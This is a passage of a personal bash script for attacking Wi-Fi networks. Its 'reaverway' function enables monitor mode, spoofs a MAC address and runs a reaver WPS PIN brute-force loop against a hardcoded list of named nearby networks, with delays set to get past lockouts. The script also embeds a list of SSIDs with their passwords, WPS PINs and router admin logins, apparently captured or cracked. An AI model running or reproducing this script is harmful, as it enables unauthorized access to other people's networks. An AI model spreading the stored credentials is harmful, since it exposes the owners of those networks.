[+] Sending WSC NACK
[+] Pin cracked in 7 seconds -> The program says the final complete PIN
[!] WPS transaction failed (code: 0x02), re-trying last pin -> no response from AP, timeout
[!] WPS transaction failed (code: 0x03), re-trying last pin -> incorrect packets order, no right answer, usually on M1 or M3
[!] WPS transaction failed (code: 0x04), re-trying last pin -> AP doesn't want to speak with you :)
EOF
)
}
###4wpspintext
###4connectwifikey
connectwifikey() {
setvarb
ssidkey(){
currentssid=$(awk 'NR==2{print $1}' <<< "$(nmcli c)")
ssidkeylist=$(cat <<EOF
OPTUS_A33E22;;carine@339204;;30425545;;192.168.0.1;;SGMcom;;3684;;[email protected]
BelongKM7KJGQH;;4H3GYXTKYR;;43357017;;admin:[email protected];;SGMcom;;4315U
ZTE_H268A27C176;;notf
Skynet;;Friday5411
NETGEAR94;;Friday5411
NetComm Wireless;;20172017
504;;bruneidarussalam
ALI RAYYAN;;21042014
TGM;;JAKOJAKO
vividwireless-F6D9;;notf
RTA1025W-75F6E3;;339708swanston
PATYAYA;;y1900a14
Ester;;29061956aa
EOF
)
#a=2
listallssid=($(awk -F";;" '{printf("%s\n",$1)}' <<< "$ssidkeylist"))
a=0
for f in ${!listallssid[@]} ; do
#num=$(echo $f + 1 | bc)
echo $[$f+1]".${listallssid[f]}"
((a++))
done
read chosenssid
#ssid="${ssida[$a]}"
#key="${keya[$a]}"
#echo "$ssidkeylist" | sed -n "$a"p |
ssid=$(awk -F';;' 'NR='$chosenssid'{printf $1}' <<< $ssidkeylist)
#bssid=$()
key=$(awk -F';;' 'NR='$chosenssid'{printf $2}' <<< $ssidkeylist)
wpspin=$(awk -F';;' 'NR='$chosenssid'{printf $3}' <<< $ssidkeylist)
routerlogin=$(awk -F';;' 'NR='$chosenssid'{printf $4}' <<< $ssidkeylist)
echo "$ssid; $key"
}
reconnect() {
ssidkey
nmcli d disconnect $wlinterface
nmcli d wifi connect $ssid password $key iface $wlinterface
#wpa_passphrase $ssid $key | sudo tee -a /etc/wpa_supplicant.conf
#ip link set $wlinterface down
#ip link set $wlinterface up
#wpa_supplicant -B -i $wlinterface -c /etc/wpa_supplicant.conf -Dwext
#sudo dhclient $wlinterface
#wpa_supplicant -B -i $wlinterface -c <($ssid $key)
}
changemac() {
bssidmc="C4:25:E9:BD:3D:8B"
#MBP="e4:ce:8f:32:a5:86"
sudo airmon-ng stop mon0 "$wlinterface"mon0 ;
if [[ $1 =~ (on) ]]
then
sudo ifconfig $wlinterface down
sleep 1
sudo macchanger -m $bssidmc $wlinterface
sleep 1
sudo ifconfig $wlinterface up
fi
return 0
}
#changemac "on"
reaverway() {
ssidkey
sudo airmon-ng stop mon0 "$wlinterface"mon0 ;
sleep 3
sudo airmon-ng start $wlinterface ;
sleep 3
#sudo wash -i mon0
#sudo airodump-ng mon0
#245
essidlist=($(cat <<EOF
JnTEPTY
TheWarren
netgear219
OPTUS_5FD28F
OPTUS_7ADF42
netgear304
DODO-04B8
moto_tp_link
EOF
))
essid=${essidlist[0]}
echo $essid
#bssid="E2:55:7D:48:32:7F"
#sudo reaver -i mon0 -b $bssid -vvwKZ
changemac "on"
while true ; do \
until [[ -n $bssid ]] ; do bssid=$(awk '/'$essid'/{print $1}' <<< "$(nmcli -f BSSID,SSID,ACTIVE dev wifi list)") ; done &&\
until [[ -n $channel ]] ; do channel=$(awk '/'$essid'/{print $1}' <<< "$(nmcli -f CHAN,SSID,ACTIVE dev wifi list)") ; done &&\
sudo reaver -i mon0 -b $bssid -c $channel -vv --lock-delay=30 --fail-wait=60 --recurring-delay=5:10 &\
sleep 60 ;\
sudo killall reaver ;\
echo "restart" ;\
sleep 10 ;\
done
}
connectwpspin() {
#https://askubuntu.com/questions/120367/how-to-connect-to-wi-fi-ap-through-wps
ssidkey
#sudo airmon-ng start $wlinterface
#sudo wash -i mon0
#sudo service network-manager stop
#sudo systemctl stop NetworkManager.service
echo -e "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1" | sudo tee /etc/wpa_supplicant.conf
sudo rm -f /var/run/wpa_supplicant/$wlinterface
sudo wpa_supplicant -B -Dwext -i$wlinterface -c/etc/wpa_supplicant.conf
sudo wpa_cli status
##wpa_state=INACTIVE
sudo wpa_cli scan
sleep 10
sudo wpa_cli scan_result
bssid=$(awk '/'$ssid'/{printf $1}' <<< "$(sudo wpa_cli scan_result)")
sudo wpa_cli wps_reg $bssid $wpspin
##OK
#wait
#CTRL-EVENT-CONNECTED
sudo wpa_cli save
sudo dhclient $wlinterface
cat /etc/wpa_supplicant.conf
sudo wpa_cli terminate
sudo service network-manager restart
}
logintorouter() {
ssidkey
#https://www.makeuseof.com/answers/create-script-log-router-disable-wifi-double-clicking-icon/
google-chrome --tab "$routerlogin"
}
listallfn() {
trap "traprestart" INT
listfn=($(awk '/(^'$1'\(\) {)/ {gsub("([(){])","");print}' $2))
totalallfn=${#listfn[@]}
for f in ${!listfn[@]} ; do
#num=$(echo $f + 1 | bc)
echo $[$f+1]".${listfn[f]}"
done
echo $[$totalallfn+1]".restartscript"
read fnno
n=$[$fnno-1]
fn="${listfn[$[$fnno-1]]}"
echo "$n.$fn"
if [[ $fnno -eq $[$totalallfn+1] ]] ; then
traprestart
else
$fn
fi
sleep 1
trap SIGINT
return 0